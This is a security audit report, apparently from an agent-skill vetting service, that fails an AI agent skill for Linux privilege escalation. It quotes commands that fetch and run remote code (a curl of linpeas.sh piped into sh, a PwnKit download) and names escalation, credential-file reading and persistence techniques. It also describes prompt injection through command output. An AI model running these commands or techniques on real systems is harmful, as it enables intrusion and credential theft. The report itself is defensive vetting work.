offensive-linux-privesc

Fail

Audited by Gen Agent Trust Hub on Aug 27, 2026

Risk Level: CRITICALREMOTE_CODE_EXECUTIONPRIVILEGE_ESCALATIONCOMMAND_EXECUTIONPERSISTENCEDYNAMIC_EXECUTIONDATA_EXFILTRATIONINDIRECT_PROMPT_INJECTION
Full Analysis
  • [REMOTE_CODE_EXECUTION]: The skill instructs the agent to download and execute scripts directly from the internet.
  • Evidence: curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh pipes a remote script into the shell.
  • Evidence: curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit downloads a binary for direct execution.
  • [PRIVILEGE_ESCALATION]: The core functionality focuses on acquiring root access through various system exploits.
  • Evidence: Detailed steps for abusing SUID/SGID binaries, Linux capabilities (e.g., cap_setuid, cap_dac_override), and sudo misconfigurations.
  • Evidence: Instructions for exploiting kernel vulnerabilities such as DirtyPipe (CVE-2022-0847), DirtyCow (CVE-2016-5195), and PwnKit (CVE-2021-4034).
  • [COMMAND_EXECUTION]: The skill utilizes powerful shell commands to alter system configurations.
  • Evidence: Commands to modify /etc/passwd to add new root users.
  • Evidence: Mounting the host root filesystem within a Docker container to bypass security boundaries.
  • [DATA_EXFILTRATION]: The skill targets and reads highly sensitive system files.
  • Evidence: Instructions to enumerate and read /etc/shadow, private SSH keys (id_rsa, id_ed25519), and environment files (.env).
  • [PERSISTENCE]: The skill provides methods for maintaining long-term access to the system.
  • Evidence: Modifying cron jobs and injecting payloads into writable system scripts.
  • Evidence: Appending persistent root user accounts to the password database.
  • [DYNAMIC_EXECUTION]: The skill involves compiling exploit code on the target system at runtime.
  • Evidence: Use of gcc to compile C-based exploits for DirtyPipe and PwnKit.
  • [INDIRECT_PROMPT_INJECTION]: The skill processes output from various system tools, creating an attack surface for instructions embedded in command results.
  • Ingestion points: Processes data from sudo -l, find, getcap, and cron files (SKILL.md).
  • Boundary markers: Absent. The agent is not instructed to isolate or validate tool output.
  • Capability inventory: High-privilege shell execution, file modification, network requests, and compilation tools (SKILL.md).
  • Sanitization: Absent. No filtering or escaping is applied to ingested command output.
Recommendations
  • HIGH: Downloads and executes remote code from: https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh, https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit - DO NOT USE without thorough review
  • AI detected serious security threats
  • Contains 2 malicious URL(s) - DO NOT USE
Audit Metadata
Risk Level
CRITICAL
Analyzed
Aug 27, 2026, 02:27 PM
Security Audit — agent-trust-hub — offensive-linux-privesc